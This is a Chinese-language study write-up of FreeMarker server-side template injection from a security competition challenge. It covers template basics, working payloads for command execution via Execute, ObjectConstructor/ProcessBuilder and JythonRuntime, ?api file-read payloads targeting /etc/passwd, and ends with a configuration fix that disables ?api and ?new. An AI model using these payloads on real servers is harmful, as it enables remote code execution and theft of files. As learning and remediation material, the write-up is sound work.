前言:
软件系统安全赛有一个freemarker ssti 没学过,来学习一下
题目漏洞代码如下

freemarker基础
和大多数模板一样,freemarker也是为了前后端分离,为了MVC设计思想的一种实现形式
写好html,从后端获取数据渲染到前端
表达式与插值
和大多数模板一样
freemarker使用
${}把动态数据输出
FTC指令
条件判断:
1 2 3 4 5
| <#if user.age gt 18> 成年人 <#else> 未成年人 </#if>
|
循环遍历:
1 2 3
| <#list users as u> ${u.name} </#list>
|
变量赋值:
<#assign> 用于在模板内定义一个新变量。
1 2
| <#assign myVar = "Hello World"> ${myVar}
|
内置函数
由于freemarker也是类似php java等 一种不那么完善成熟的语言
其中也有一些内置常用函数
例如:
字符串处理: ${htmlString?html}(转义 HTML)
new
可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
api
这是freemarker最核心的
当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
api?支持调用该类任意public方法
例如:
假设java后端传给模板一个字符串对象
1 2
| String msg = "hello,world"; root.put("myString", msg);
|
在正常的 FreeMarker 语法中,你只能用 FreeMarker 提供的内建函数,比如:
${myString?upper_case} (输出 HELLO,WORLD)
${myString?split(",")}
但是,如果你开启了 ?api 功能,你就可以直接调用 Java java.lang.String 类自带的所有 public 方法:
1 2 3 4 5 6 7 8
| 调用 Java String 的 startsWith() 方法 <#if myString?api.startsWith("hello")> 是的,它是以 hello 开头 </#if>
支持链式调用:获取 Class 对象,再获取类名 ${myString?api.getClass().getName()} 输出: java.lang.String
|
可以看到,在没有限制的时候很灵活,也可以使用java的反射机制
Poc
new引用
Execute
freemarker的包内自带
freemarker.template.utility.Execute类,从中可以看到这里的exec方法是一个很完美的命令执行函数:

从类的声明中可以看到该类实现了TemplateMethodModel接口,随后我们转至该接口,可以看到TemplateMethodModel又是TemplateModel接口的实现
所以我们可以new他
例如
1 2
| <#assign value="freemarker.template.utility.Execute"?new()> ${value("cmd.exe /c calc")}
|

ObjectConstructor
还有 freemarker.template.utility.ObjectConstructor

可以看到这个类里把传入的参数实例化了
但我们注意到最后return的是一个
bw.wrap()
跟一下看看wrap()是啥

1 2 3 4 5 6 7
| public TemplateModel wrap(Object object) throws TemplateModelException { return object == null ? this.nullModel : this.modelCache.getInstance(object); } public TemplateMethodModelEx wrap(Object object, Method method) { return new SimpleMethodModel(object, method, method.getParameterTypes(), this); }
|
跟进
this.modelCache.getInstance(object)

看到这里其实就大差不差了,从开发角度看,这里开发者是为了统一,把他们都做成适配freemarker的对象。
ok,这个为后面的我们伏笔。
所以如果我们的正常思路如下
1 2
| <#assign value="freemarker.template.utility.ObjectConstructor"?new()> ${value("java.lang.ProcessBuilder","whoami").start()}
|

JythonRuntime
freemarker.template.utility.JythonRuntime 类可以通过自定义标签的方式执行Python命令,从而构造远程命令执行。
1
| <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value>
|
但是这个是在jvm上运行python代码,需要添加jython依赖
1 2 3 4 5
| <dependency> <groupId>org.python</groupId> <artifactId>jython-standalone</artifactId> <version>2.7.0</version> </dependency>
|
题目中显然是没有
api引用
这道题中 FreeMarker 2.3.26 默认 api_builtin_enabled=false
所以这道题里是无法使用api引用的
个人觉得利用条件比较苛刻。。
粘几个poc
文件读取载荷:
1 2 3 4 5 6 7
| <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
|
1 2 3 4 5 6 7 8 9
| <#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
|
命令执行:
1 2 3 4 5 6
| <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("calc")}
|
备注:这里利用载荷是要把上面的Object替换替换成可编辑模板中可用的真实的Object后利用才行
同时我也尝试修改jar包来测试一下api?的调用

源码中加入
1
| cfg.setAPIBuiltinEnabled(true);
|
但是失败了
1 2 3 4
| templateContent={{url(${subject?api.getClass().getName()})}}
userName / subject / userEmail / userTel 这些都失败了
|

可以看到这个类不支持api调用,这是为什么呢??
看到这个报错有没有想到刚才的wraper
1
| ObjectWapper: freemarker.template.DefaultObjectWrapper@2141844787(2.3.22, useAdaptersForContainers=true, forceLegacyNonListCollections=true, iterableSupport=falseexposureLevel=1, exposeFields=false, treatDefaultMethodsAsBeanMembers=false, sharedClassIntrospCache=@831816319, ...))
|
我们去看看 freemarker.template.DefaultObjectWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public TemplateModel wrap(Object obj) throws TemplateModelException { if (obj == null) { return super.wrap((Object)null); } else if (obj instanceof TemplateModel) { return (TemplateModel)obj; } else if (obj instanceof String) { return new SimpleScalar((String)obj); } else if (obj instanceof Number) { return new SimpleNumber((Number)obj); } else if (obj instanceof Date) { if (obj instanceof java.sql.Date) { return new SimpleDate((java.sql.Date)obj); } else if (obj instanceof Time) { return new SimpleDate((Time)obj); } else { return obj instanceof Timestamp ? new SimpleDate((Timestamp)obj) : new SimpleDate((Date)obj, this.getDefaultDateType()); } } else { Class<?> objClass = obj.getClass(); if (objClass.isArray()) { if (this.useAdaptersForContainers) { return DefaultArrayAdapter.adapt(obj, this); } obj = this.convertArray(obj); } if (obj instanceof Collection) { if (this.useAdaptersForContainers) { if (obj instanceof List) { return DefaultListAdapter.adapt((List)obj, this); } else { return (TemplateModel)(this.forceLegacyNonListCollections ? new SimpleSequence((Collection)obj, this) : DefaultNonListCollectionAdapter.adapt((Collection)obj, this)); } } else { return new SimpleSequence((Collection)obj, this); } } else if (obj instanceof Map) { return (TemplateModel)(this.useAdaptersForContainers ? DefaultMapAdapter.adapt((Map)obj, this) : new SimpleHash((Map)obj, this)); } else if (obj instanceof Boolean) { return obj.equals(Boolean.TRUE) ? TemplateBooleanModel.TRUE : TemplateBooleanModel.FALSE; } else if (obj instanceof Iterator) { return (TemplateModel)(this.useAdaptersForContainers ? DefaultIteratorAdapter.adapt((Iterator)obj, this) : new SimpleCollection((Iterator)obj, this)); } else if (this.useAdapterForEnumerations && obj instanceof Enumeration) { return DefaultEnumerationAdapter.adapt((Enumeration)obj, this); } else { return (TemplateModel)(this.iterableSupport && obj instanceof Iterable ? DefaultIterableAdapter.adapt((Iterable)obj, this) : this.handleUnknownType(obj)); } } }
|
真相大白了,我们的类分别走到了这些地方
1 2 3 4 5 6 7 8
| } else if (obj instanceof Date) { ... return new SimpleDate((Date)obj, this.getDefaultDateType()); } ------------------------------------------------- } else if (obj instanceof String) { return new SimpleScalar((String)obj); }
|
所以他们不支持api调用,我们才失败了。
fix
1 2 3 4 5 6 7
| import freemarker.core.TemplateClassResolver; import freemarker.template.TemplateExceptionHandler;
Configuration cfg = new Configuration(Configuration.VERSION_2_3_23); cfg.setAPIBuiltinEnabled(false);//禁用?api调用 cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);//禁用?new() cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);//FreeMarker 模板渲染过程中一旦出错,就把异常继续抛给 Java 程序处理,而不是把错误细节直接输出到页面里
|

打包之后重新部署,发现fix成功。
